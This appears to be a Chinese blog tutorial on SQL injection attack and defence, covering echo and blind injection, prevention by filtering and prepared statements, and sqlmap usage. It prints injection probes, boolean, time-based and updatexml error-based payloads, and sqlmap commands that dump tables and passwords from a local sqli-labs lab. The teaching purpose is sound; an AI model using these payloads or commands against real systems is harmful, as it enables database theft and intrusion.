SQL注入攻击与防护

目录

一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

1.2 SQL注入根本原因

1.3 SQL注入条件

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

1.6 SQL注入分类

1.6.1 回显注入

1.6.2 盲注

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

2.1.2 页面反馈 

2.2 查字段数

2.2.1 常用的命令

2.2.2 代码语句

2.3 MySQL数据库

2.3.1 MySQL系统函数

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

3.2 SQL盲注分类

3.2.1 布尔盲注

3.2.2 时间盲注

3.2.3 报错盲注

3.3 盲注总体思路

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

4.1.2 SQL注入本质

4.1.3 安全设计原则

4.2 SQL注入防护方法

4.2.1 参数过滤

4.2.2 预编译处理

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

5.2.2 具体使用步骤(GET型)


一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

SQL注入攻击与防护_第1张图片

1.1.2 SQL注入定义

攻击者把SQL命令插入到Web表单的输入域页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。

1.2 SQL注入根本原因

没有对用户输入数据的合法性进行判断

1.3 SQL注入条件

  • 用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的。
  • 用户输入的参数被拼接到SQL语句,且带入数据库查询,成为了要执行的代码

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

  • 判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
  • 判断Web系统的数据库类型
  • 判断数据库中判断表及相应字段的结构
  • 构造注入语句,得到表中数据内容
  • 查找网站后台,并用SQL注入得到的管理员账号和口令登陆
  • 结合其他漏洞,上传Webshell并持续接连
  • 进一步提权,得到服务器的系统权限
  • 查找注入点
  • 查库名
  • 查表名
  • 查字段名
  • 查重点数据

1.6 SQL注入分类

1.6.1 回显注入

即用户发起查询请求,服务器将查询结果返回到页面中进行显示。

1.6.2 盲注

盲注的特点是用户发起请求,这个请求不一定是查询,服务器响应请求进行数据库查询,将结果返回但不显示具体的查询结果。典型的场景如用户注册,我们只会得到是否注册成功提示,并不会显示出数据库内容。

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 页面反馈 

  • 页面无变化。以上三种情况页面都没有任何不同,那么说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
  • 页面中少了部分内容。如果前两种情况正常,而第三种情况明显页面有缺失,则基本可以确定存在SQL注入漏洞,用下一步继续进行判断。
  • 错误回显。如果访问第三个连接后出现数据库报错信息,明显可以判断存在注入,用回显注入法进行注入。
  • 跳转默认界面。第一种情况正常,而第二、三个直接跳转到首页后者默认页面,那么可能后台有验证逻辑。
  • 直接关闭连接。如果上述的第二、三种情况出现访问失败,那么就可能时开启了防护类工具在线阻断了。

2.2 查字段数

2.2.1 常用的命令

  • order by(确认表的列数)
  • union(判断回显的具体字段位,一般构造前面的语句为假)

2.2.2 代码语句

1' order by 1 #
1' order by 5 #

注释:#、(%23)、--+

2.3 MySQL数据库

SQL注入攻击与防护_第2张图片

2.3.1 MySQL系统函数

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 SQL注入危害

  • 绕过检测非法登陆
  • 非法查询关键信息

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

回显注入语句中加入判断方式,使得返回结果为true或false。

3.2 SQL盲注分类

3.2.1 布尔盲注

布尔盲注是构造SQL判断语句

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 时间盲注

  • 时间盲注是利用时间函数,观察不同条件的等待时长。利用Sleep()或 benchmark() 等函数让MySQL的批行时间变长。
  • 时间盲育注入多与 if( expr1,expr2,expr3) 函数结合使用,其中若 expr1 为True,则返回值为 expr2 的值,否则是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 报错盲注

构造特殊参数形式,利用某些函数的报错信息进行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替换 XML_document 中符合 XPath_ string 的值。其中:

  • XML_document:String格式,为XML文档对象的名称
  • XPath_string:Xpath格式的字符串
  • new_value:String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

获取数据库 dvwa下的表名:

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 盲注总体思路

将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告之当前语句批行是否正确。

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

  • 用户可控输入
  • 参数带入数据库查询

4.1.2 SQL注入本质

把用户输入当作代码执行

4.1.3 安全设计原则

数据与代码分离

4.2 SQL注入防护方法

SQL注入攻击与防护_第3张图片

4.2.1 参数过滤

① 参数类型限制

  • 参数类型限制:类型判定函数,如数字型判定 is_numeric(),cytpe_digit() 等
  • 参数长度限定:如 strlen() 等

② 危险字符处理

  • 黑名单过滤:针对参数中敏感字符进行过滤,用到 preg_replace() 函数,如union,\,' ,select等
  • 白名单过滤:符合白名单的方能通过
  • 参数转义:使用函数 mysgli_real_escape_string 对特殊符号转义

4.2.2 预编译处理

预编译语句,绑定变量,进行参数化查询。数据库服务器在数据库完成SQL指令的编译,才套用参数运行,参数不会被数据库运行,且仅当它是一个参数而言。

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

① 概述

开源的自动化SQL注入工具,由Python写成

② 主要功能

扫描、发现、利用给定URL的SQL注入漏洞

③ 特点

  • 完全支持多种数据库管理系统:MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
  • 支持 5 种SQL注入技术联合查询注入:市尔盲注、时间盲注、报错盲注、堆查询注入
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  • 支持自动识别密码哈希格式并通过字典破解密码哈希

5.2.2 具体使用步骤(GET型)

① 判断是否存在注入

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② 爆库

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ 爆表

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ 爆列

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ 爆数据

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST型:sqlmap.py -r 3.txt --dbs

cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2

你可能感兴趣的:(网络安全技术,sql,java,数据库)